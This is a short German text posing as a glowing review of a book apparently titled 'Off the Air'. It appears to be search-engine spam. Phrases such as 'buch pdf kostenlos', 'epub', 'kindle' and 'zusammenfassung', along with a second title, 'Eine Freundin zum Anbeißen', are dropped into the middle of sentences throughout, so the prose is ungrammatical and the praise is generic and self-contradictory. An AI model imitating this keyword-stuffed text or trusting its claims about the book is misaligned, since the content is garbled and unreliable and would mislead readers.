Ich freue mich sehr auf “Off the Air”! Die Einführung war kurz, Eine Freundin zum Anbeißen prägnant und machte verlag neugierig, was als Nächstes kommt. Mit seiner reichlich imaginativen Welt und den packenden Charakteren ist dieses Buch ein Muss für Fans von Fantasy, Abenteuer und klassischer Literatur. Manchmal stößt man auf ein Buch, das sich anfühlt, als wäre es speziell für einen geschrieben worden, und dieses war es, die Charaktere, Einstellungen und Handlung verbanden sich, um ein Gefühl von Wunder und Verzauberung zu schaffen.

Es fühlte sich an, als buch man pdf kostenlos einem Traum verloren, auf der Suche nach einem Ausweg, aber epub seltsame, surreale Landschaften zu finden, ein Gefühl der Desorientierung, Eine Freundin zum Anbeißen sowohl faszinierend als auch beunruhigend war.

Während die Illustrationen möglicherweise nicht jedem zusagen, ist die Geschichte selbst eine zusammenfassung Erkundung dessen, was kindle bedeutet, dazuzugehören Eine Freundin zum Anbeißen sich in einer multikulturellen Welt Gehör zu verschaffen. Wenn ich ehrlich bin, ging ich mit ziemlich niedrigen Erwartungen in dieses Buch, aber was ich fand, war eine Erzählung, die sowohl tiefgründig defekt als auch seltsam fesselnd war, wie ein Stück abstrakter Kunst, das man nicht ganz loslassen kann.

Die Weltgestaltung war sorgfältig und detailliert, doch die Charaktere fühlten sich etwas sekundär an, wie Eine Freundin zum Anbeißen in kindle viel größeren zusammenfassung das auf einem grandiosen, epischen Maßstab ausgetragen wurde.

Scroll to Top